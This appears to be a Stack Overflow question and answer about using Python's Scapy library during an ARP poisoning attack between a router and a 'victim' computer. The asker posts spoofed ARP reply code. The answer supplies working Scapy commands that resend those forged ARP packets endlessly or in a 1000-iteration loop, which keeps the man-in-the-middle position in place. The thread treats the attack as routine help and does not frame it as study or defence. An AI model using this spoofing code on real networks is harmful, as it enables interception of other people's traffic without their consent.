Bob Ebert
Bob Ebert

Reputation: 1401

Python-2.7 Scapy retransmit packet to destination

Doing an arp poisonning, I am in the middle of the connection of 1-the router and 2-the victim computer. How can I retransmit the packet to the destination? (preferably with scapy) I have this :

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

Upvotes: 1

Views: 854

Answers (1)

Yoel
Yoel

Reputation: 9614

Reviewing Scapy's API documentation suggests these alternatives:

  1. The send function accepts 2 additional arguments that could prove useful:

    loop: send the packets endlessly if not 0.
    inter: time in seconds to wait between 2 packets.

    Therefore, executing the following statement would send the packets in an endless loop:

    send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
          ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
         inter=1, loop=1)
    
  2. The sr function accepts 3 arguments that could prove useful:

    retry: if positive, how many times to resend unanswered packets. if negative, how many consecutive unanswered probes before giving up. Only the negative value is really useful.
    timeout: how much time to wait after the last packet has been sent. By default, sr will wait forever and the user will have to interrupt (Ctrl-C) it when he expects no more answers.
    inter: time in seconds to wait between each packet sent.

    Since no answers are expected to be received for the sent ARP packets, specifying these arguments with the desired values enables sending the packets in a finite loop, in contrast to the previous alternative, which forces an endless one.

    On the down side, this is probably a bit less efficient since resources are allocated towards packet receipt and handling, but this is negligible.

    Therefore, executing the following statement would send the packets in a finite loop of 1000 iterations:

    sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
        ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
       retry=999, inter=1, timeout=1)
    

Upvotes: 1

Related Questions